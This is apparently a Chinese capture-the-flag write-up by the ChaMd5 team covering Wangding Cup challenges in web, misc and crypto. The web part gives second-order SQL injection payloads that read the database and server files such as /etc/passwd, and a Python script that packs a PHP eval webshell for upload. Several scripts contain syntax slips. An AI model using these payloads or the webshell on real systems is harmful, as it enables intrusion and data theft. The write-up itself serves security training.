网鼎杯第四场 部分WriteUp

2018-08-30 13,402

Web类题目

comment

find the flag.find the flag.

解题思路

打开后需要登录,根据提示爆破得到账号密码

zhangwei
zhangwei666

http://2e8c0fad02d147a6b3f23624556a2fe49a4b7d2b64484f3c.game.ichunqiu.com//.git/

利用git拉下来源码,发现源码少了过程。在Chrome的dev tools里也看到了提示:

利用git hack读取git 的结构得到真实的源码

<?php
include "mysql.php"
session_start(); 
if($_SESSION['login'] != 'yes'){
    header("Location: ./login.php");
    die(); 
}
if(isset($_GET['do'])){ 
    switch ($_GET['do']){
        case 'write':
            $category = addslashes($_POST['category']);
            $title = addslashes($_POST['title']);
            $content = addslashes($_POST['content']);
            $sql = "insert into board set category = '$category',title = '$title', content = '$content'";
            $result = mysql_query($sql);
            header("Location: ./index.php");
            break;           
        case 'comment':
            $bo_id = addslashes($_POST['bo_id']);
            $sql = "select category from board where id='$bo_id'";
            $result = mysql_query($sql);
            $num = mysql_num_rows($result);
            if($num>0){
                $category = mysql_fetch_array($result)['category'];
                $content = addslashes($_POST['content']);
                $sql = "insert into comment set category = '$category',content = '$content', bo_id = '$bo_id'";
                $result = mysql_query($sql);
            }   
            header("Location: ./comment.php?id=$bo_id");
            break;
        default:
            header("Location: ./index.php");
    }
else {
    header("Location: ./index.php");
}         
?>

可以看到在留⾔的地⽅category存在⼆次注⼊才到发帖处构造payload,即可注⼊

category=', content=database(),bo_id='1' ON DUPLICATE KEY UPDATE category='&title=1&content=1

对整个数据库查看之后发现数据库中并⽆flag,尝试读取⽂件发现可以读取

category=', content=(select load_file('/etc/passwd'), bo_id='1' ON DUPLICATE KEY UPDATE category='&title=1&content=1

于是读取passwd发现存在www⽤户,其家⽬录为/home/www 读取⽤户的.bash_history发现了部署过程

可以看到部署过程中先cp然后删除⽂件,即原先的⽂件夹中还保留着.DS_Store 于是尝试读取/home/www/html/.DS_Store 失败,百思不得其解,思索了好久想明⽩,环境 是⽤docker部署的,临时⽂件都在/tmp⾥,md这步坑死了。

于是读取/tmp/html/.DS_Store 即可拿到⽂件名称。

再次读取flag⽂件即可,⼀开始还读去了个假flag。。。。。

再次读取

/var/www/html/flag_8946e1ff1ee3e40f.php

即可获取到真实flag



NoWafUpload

We no waf!

解题思路

http://07adfe12ce064500b8821661a71a103047480bc2ab794155.game.ichunqiu.com/ www.zip 

下载得到www.zip 解压后得到⼀个so,分析后发现将原本的php进⾏zlib压缩后 开头添加了字符串的md5,然后⻓度padding 0x00 *4 加上⻓度再加上4字节00的padding,即为最终shell。

⽤如下脚本直接⽣成⼀个shell,然后上传

import hashlib
import zlib

def md5(s):
    hash = hashlib.md5()
    hash.update(s)
    return hash.hexdigest()

shell = "<?php eval($_POST['line']);?>"
ret = ""
for i in zlib.compress(shell):
    ret += chr(ord(i) ^ 0xC)

s_len = chr(0x2)
s = md5(ret) + s_len + "x00" * 4 + s_len + "x00" * 4 + ret
f = open("line.php""wb")  
f.write(s)
f.close() 

最后在根⽬录得到flag



blog

解题思路

打开是个wordpress,发现主⻚上赫然写着⻘⻰鼎科技,尝试github搜 qinglongdingkeji.com 搜到了⼀个仓库

在api.php⾥泄露了接⼝,所以直接爆破uid即可



Misc类题目

双色快

Download 备⽤下载(密码za3y)

https://share.weiyun.com/5evIo7h

解题思路 

解压得到⼀个gif,binwalk分析发现尾部有png,拿出来是⼀个密码

gif轮播之后发现是⼀个24*24的像素点,每个像素为10*10,每个点颜⾊为00ff00或是ff00ff 先把gif分离成单帧

#! /usr/bin/env python2
# -*- coding: utf-8 -*-

import os
from PIL import Image

def main(gif_file):
    png_dir = 'frame/'
    img = Image.open(gif_file)
    try:
        while True:
            current = img.tell()
            img.save(png_dir + str(current + 1) + '.png')
            img.seek(current + 1)
    expect:
        pass
if __name__ == '__main__':
    gif_file = 'out.gif'
    main(gif_file)

然后读取每个png中的对应点的信息,并按照8bit转换为ascii

#! /usr/bin/env python2
# -*- coding: utf-8 -*-

import os
from PIL import Image

def main():
    png_dir = 'frame/'
    ret = ""
    for i in range(0,24):
        line = ""
        for j in range(0,24):
            file_name = "frame/" + str(i * 24 + j + 1) + ".png"
            x = j * 10 + 5
            y = i * 10 + 5
            img = Image.open(file_name)
            img = img.convert("RGB"
            img_array = img.load()
            r, g, b = p = img_array[x, y]
            if g == 255:
                line += "0"
            if r == 255 and b == 255:
                line += "1"
            if len(line) == 8:
                ret += chr(int(line, 2))
                line = ""
     print ret

if __name__ == '__main__':
    main()

然后进⾏DES解密即可





Welcome

Download 备⽤下载(密码3ujt)

https://pan.baidu.com/s/1NlgCNoaUdZayOHIBI29yVQ

解题思路 

下载附件得到⼀堆分卷,合并后得到原始压缩包,然后发现需要解密 然后尝试zip爆破,跑了仨⼩时多,跑出来密码了

解压后得到flag


Crypto类题目

Number

nc 106.75.64.61 16356

解题思路

from gmpy2 import *
from pwn import *

ip='106.75.106.14'
port=12522

def getnm():
    p=remote(ip,port)
    p.recvline()
    n1=int(p.recvline()[:-1])
    m1=int(p.recvline()[:-1])
    p.close()
    return n1,m1

n1,m1=getnm()
n2,m2=getnm()
p=gcd(n1-m1,n2-m2)

print('n1',n1)
print('m1',m1)
print('n2',n2)
print('m1',m2)  
print('p',hex(p))
print('x1',hex(n1/p))
print('x2',hex(n2/p))
print('y1',hex(m1/p))
print('y2',hex(m2/p))
x1=n1/p
x2=n2/p
flag1=n1%p
flag2=n2%p
print('flag1',flag1)
print('flag2',flag2)
print(flag1)
print(hex(flag1))
print('flag',hex(flag1)[2:].decode('hex'))  



shenyue

nc 106.75.64.61 16356

解题思路 

python代码,分析流程后直接操作即可getflag



shanghai

解题思路

维吉利亚密码直接解密


本文作者:ChaMd5安全团队

本文为安全脉搏专栏作者发布,转载请注明:https://www.secpulse.com/archives/74997.html

Tags:
评论  (2)
快来写下你的想法吧!

ChaMd5安全团队

文章数:85 积分: 181

www.chamd5.org 专注解密MD5、Mysql5、SHA1等

安全问答社区

安全问答社区

脉搏官方公众号

脉搏公众号